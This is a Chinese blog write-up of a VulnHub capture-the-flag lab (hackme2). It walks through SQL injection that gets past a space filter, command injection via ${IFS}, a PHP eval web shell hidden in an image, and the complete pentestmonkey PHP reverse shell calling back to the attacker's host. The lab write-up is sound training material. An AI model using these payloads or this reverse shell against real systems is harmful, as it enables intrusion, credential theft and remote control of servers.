vulnhub----hackme2-DHCP靶机

于 2024-02-26 18:36:31 发布
阅读量884 收藏 8
点赞数 9
分类专栏： 日常打靶 web漏洞 文章标签： vulnhub靶机 hackme2 命令执行
版权声明：本文为博主原创文章，遵循 CC 4.0 BY 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/woshicainiao666/article/details/136297674
版权

文章目录

一，信息收集

1.网段探测

┌──(root㉿kali)-[~]
└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:10:3c:9b, IPv4: 192.168.163.28
Starting arp-scan 1.9.8 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.163.152 d2:a6:97:bb:46:9d       (Unknown: locally administered)
192.168.163.193 00:0c:29:01:34:57       VMware, Inc.
192.168.163.209 7c:b5:66:a5:f0:a5       Intel Corporate

3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.8: 256 hosts scanned in 1.946 seconds (131.55 hosts/sec). 3 responded

2.端口扫描

┌──(root㉿kali)-[~]
└─# nmap -Pn 192.168.163.193              
Starting Nmap 7.93 ( https://nmap.org ) at 2024-02-26 00:43 EST
Nmap scan report for 192.168.163.193
Host is up (0.00056s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 00:0C:29:01:34:57 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.33 seconds


┌──(root㉿kali)-[~]
└─# nmap -sV -sC -p- 192.168.163.193      
Starting Nmap 7.93 ( https://nmap.org ) at 2024-02-26 00:43 EST
Nmap scan report for 192.168.163.193
Host is up (0.0012s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.7p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 6ba824d6092fc99a8eabbc6e7d4eb9ad (RSA)
|   256 abe84f5338062c6af392e3974a0e3ed1 (ECDSA)
|_  256 327690b87dfca4326310cd676149d6c4 (ED25519)
80/tcp open  http    Apache httpd 2.4.34 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.34 (Ubuntu)
MAC Address: 00:0C:29:01:34:57 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.60 seconds

3.目录扫描

┌──(root㉿kali)-[~]
└─# dirsearch -u "http://192.168.163.193" -x 403,404,500

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25
Wordlist size: 11460

Output File: /root/reports/http_192.168.163.193/_24-02-26_00-44-22.txt

Target: http://192.168.163.193/

[00:44:22] Starting: 
[00:44:41] 200 -    0B  - /config.php                                       
[00:44:51] 200 -  527B  - /login.php                                        
[00:44:52] 302 -    0B  - /logout.php  ->  login.php                        
[00:45:01] 200 -  594B  - /register.php                                     
[00:45:09] 301 -  320B  - /uploads  ->  http://192.168.163.193/uploads/     
                                                                             
Task Completed

┌──(root㉿kali)-[~]
└─# gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u "http://192.168.163.193"    
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.163.193
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/uploads              (Status: 301) [Size: 320] [--> http://192.168.163.193/uploads/]
/server-status        (Status: 403) [Size: 303]
Progress: 220560 / 220561 (100.00%)
===============================================================
Finished

二，信息分析

访问http://192.168.163.193/login.php，是一个登陆页面，弱密码进不去
在这里插入图片描述
通过目录扫描，访问扫http://192.168.163.193//register.php，是一个注册页面，注册账号登陆试试
在这里插入图片描述

登陆后，发现是一个查询的页面，猜测有sql注入，不输入任何数据，出现表单
在这里插入图片描述

三，sql注入

我是用抓包形式，进行sql注入，个人认为比较方便

1.判断SQL注入

在OSINT后加一个'，页面不显示，任何东西，说明有sql注入
在这里插入图片描述在这里插入图片描述在查显示位，猜测有空格过滤
在这里插入图片描述

2.查询显示位

空格过滤
/**/

在这里插入图片描述
在这里插入图片描述

3.查询注入点

search=-OSINT'/**/union/**/select/**/1,2,3#

在这里插入图片描述

4.查询库

search=-OSINT'/**/union/**/select/**/1,2,database()#
在这里插入图片描述

5.查询表

search=OSINT'/**/union/**/select/**/group_concat(table_name),2,3/**/from/**/information_schema.tables/**/where/**/table_schema='webapphacking'#

在这里插入图片描述

6.查字段

OSINT'/**/union/**/select/**/group_concat(column_name),2,3/**/from/**/information_schema.columns/**/where/**/table_name='users'#

在这里插入图片描述

7. 查user表中的值

search=OSINT'/**/union/**/select/**/group_concat(user,":",pasword),2,3/**/from/**/users#

在这里插入图片描述

user1:5d41402abc4b2a76b9719d911017c592,
user2:6269c4f71a55b24bad0f0267d9be5508,
user3:0f359740bd1cda994f8b55330c86d845,
test:05a671c66aefea124cc08b76ea6d30bb,
superadmin:2386acb2cf356944177746fc92523983,
test1:05a671c66aefea124cc08b76ea6d30bb,
admin:e64b78fc3bc91bcbc7dc232ba8ec59e0,
asd:e64b78fc3bc91bcbc7dc232ba8ec59e0

https://www.somd5.com/
在这里插入图片描述

superadmin/Uncrackable

8.登陆superadmin用户

在这里插入图片描述

四，漏洞利用

文件上传

白名单

在这里插入图片描述

命令执行

在last name中，发现执行点
在这里插入图片描述

在这里插入图片描述

空格过滤
system('cat${IFS}/etc/passwd')
system('cat$IFS$1/etc/passwd')

在这里插入图片描述查看uploads目录，因为uploads只能上传图片格式的文件，所有我们上传恶意的图片，然后通过命令执行更改后缀名
在这里插入图片描述

system('ls${IFS}-al${IFS}/var/www/html/uploads')

在这里插入图片描述

year2020这个是上传的目录
system('ls${IFS}-al${IFS}/var/www/html/uploads/year2020')

在这里插入图片描述

上传恶意的图片

GIF89a
<?php @eval($_POST['c']);?>

在这里插入图片描述

修改后缀
system('mv${IFS}/var/www/html/uploads/year2020/1.jpg${IFS}/var/www/html/uploads/year2020/1.php')
执行成功后，查看

在这里插入图片描述

访问
http://192.168.163.193/uploads/year2020/1.php

在这里插入图片描述

蚁剑连接

在这里插入图片描述

五，反弹shell

1.上传php木马文件

<?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net

set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.163.209';
$port = 6666;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/bash -i';
$daemon = 0;
$debug = 0;

if (function_exists('pcntl_fork')) {
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

chdir("/");

umask(0);

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?>

在这里插入图片描述

2.本地监听

在这里插入图片描述

六，提权

呃，这个提权。。。。。。。。。。。
在legacy目录下有一个可执行文件，直接执行，就是root权限

在这里插入图片描述

co丶unttt
关注
  • 9
    点赞
  • 踩
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
edjpgcom制作一句话图片木马
刘启明
06-19 6856
将图片直接拖到edjpgcom.exe程序上 写入一句话木马 <?fputs(fopen("shell1.php","w"),'<?php @eval($_POST[caidao]);?>')?> 查看图片
vulhub靶场学习日记hackme2
m0_55763479的博客
07-12 310
vulhub靶场学习日记hackme2
Hackme2靶机总结
qq_45301512的博客
12-17 355
(2) 先用最普通的测post的跑一下,发现不行,根据最后的提示,可以加上 –level 参数 和 –tramper=space2comment 参数。看了网上的答案,发现/home/legacy下存在一个touchmenot可执行文件,运行就能提权。使用msfvenom生成一个php的tiquan.php,上传到/var/www/html目录下。=eval 代替
hackme-2靶机渗透详解
大熊
06-12 350
这个靶机的难度适中，通过这个靶机的联系，感觉更可以增强自己对这些漏洞执行的连贯性，靶机主要考察了目录扫描，sql注入（这里要绕过空格过滤），文件上传与命令执行的结合，反弹shell及提权。该靶机可以串通各部分知识，值得一做。
VulnHub-hackme：2漏洞利用流程
2301_76786857的博客
06-14 141
地址靶机IP：192.168.245.131测试机系统：kali、win10测试机IP：192.168.245.129。
VulnHub-Tr0ll1.zip
01-12
VulnHub-Tr0ll1靶机学习笔记，一部分是学习笔记过程，另一部分是学习过程整理的lol.pacp\.c文档、user.txt等文档，供大家参考学习
Vulnhub靶机渗透测试 DC-8靶机
12-07
Vulnhub靶机渗透测试 DC-8靶机
Vulnhub靶机渗透测试 DC-3靶机
12-07
Vulnhub靶机渗透测试 DC-3靶机
Vulnhub靶机渗透测试 DC-7靶机
12-07
Vulnhub靶机渗透测试 DC-7靶机
Vulnhub靶机渗透测试 DC-9靶机
12-07
Vulnhub靶机渗透测试 DC-9靶机
Vulnhub--hackme2
weixin_45168704的博客
06-12 148
拿下hackme2
vulnhub靶机hackme(DHCP)渗透测试
Long_gone的博客
12-04 1289
一、扫描 靶机打开后先用攻击机扫描靶机的IP地址： arp-scan 192.168.34.0/24 经过排除，确定靶机IP地址为：192.168.34.154，然后扫描一下靶机的端口开放情况： nmap -sV -A -p 0-65535 192.168.34.154 发现靶机只开放了22和80端口，然后再扫描一下80端口的目录： dirb http://192.168.34.154 ...
靶机渗透 HACKME-2 （详细渗透，适合新手渗透）
君莫hacker的博客
09-06 3539
靶机HACKME:2的目录0x01靶机描述0x02环境搭建0x03靶机渗透一、 信息收集二、 漏洞挖掘三、 漏洞利用四、 提权0x04实验总结 0x01靶机描述 靶机基本信息： 链接 https://www.vulnhub.com/entry/hackme-2,618/ 作者 x4bx54 发布日期 2020年12月6日 难度 中等 靶机基本介绍： hackme2”是一个中等难度的关卡。这是hackme系列的第二部分，其中有更多的控件用于阻止恶意攻击。此外，你还必须跳出框框来利
漏洞payload 靶机_hackme：2 靶机攻略
weixin_42354108的博客
01-16 1052
原标题：hackme：2 靶机攻略 0x01 背景：hackme:2是vulnhub上的一个medium难度的CTF靶机，难度适中、内容丰富，贴近实战。而且没有太多的脑洞，适合安全工作者们用来练习渗透测试，然而唯一的缺憾是目前没有公开的攻略，因此把个人的通关过程记录于此，作为攻略分享给大家！0x02 技术关键词：SQL注入、WAF Bypass、模糊测试、文件上传、suid提权0x03 靶机发现与...
vulnhub--hackme2-DHCP
weixin_45922278的博客
02-24 915
描述 “ hackme2”是中等难度级别的框。这是hackme系列的第二部分，其中更多的控制措施可以阻止恶意攻击。此外，您还必须开箱即用，以利用漏洞。目标是通过Web漏洞获得受限的特权访问，然后特权以root用户身份升级。该实验室的创建是为了模拟现实世界中的网络漏洞。 “ hackme2”使用DHCP并可能在mysqld自行关闭（非常罕见的情况）的情况下，尝试强制重启机器，并且随后应能正常工作。 https://idc.wanyunshuju.com/vul/1947.html 一、信息...
Vulnhub-hackme1
GALi_233的博客
03-06 3307
Description ‘hackme’ is a beginner difficulty level box. The goal is to gain limited privilege access via web vulnerabilities and subsequently privilege escalate as root. The lab was created to mimic real life environment. ‘hackme’ uses DHCP and in the pos
vulnhub - hackme 考点：（sql注入&上传&linux信息搜集）
冬萍子癸水
04-23 672
https://www.vulnhub.com/entry/hackme-1,330/ nat网络， arp-scan -l 扫出来比平常多的ip就是靶机 nmap看到80当然是web信息搜集，22想到找ssh登录信息 80看到登录框就注入干他，但是没用，可以注册，先注册吧。。 其他没收集到多少亮眼信息， 进入后是搜索书的搜索框。这种搜索框数据交互当然要想到注入了。。 试了几次，什么也别输入，点回...
思维进化算法优化BP神经网络——非线性函数拟合.rar
07-26
神经网络的matlab案例，本案例介绍如下： 技术深度：案例详细介绍了如何使用MATLAB进行深度学习模型的构建、训练和测试。 实际应用：通过具体的图像识别任务，展示模型的实际应用效果，让你直观感受神经网络的强大能力。 代码解析：提供完整的MATLAB代码，并对关键部分进行详细注释，帮助你理解每一步的工作原理。 优化策略：探讨不同的训练策略和参数调整方法，优化模型性能。
穿山甲水平井导向系统用户手册
最新发布
07-26
国内一款高水平的水平井地质导向系统，双向拟合，结合三维地质模型进行三维导向
vulnhub靶机-jangow: 1.0.1
03-16
vulnhub靶机-jangow: 1..1是一款用于渗透测试和漏洞攻击的虚拟机。它基于Ubuntu操作系统，包含多个漏洞和弱点，供安全专业人员进行测试和实践。该靶机的目标是获取root权限，并且需要使用各种技术和工具来完成任务。...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值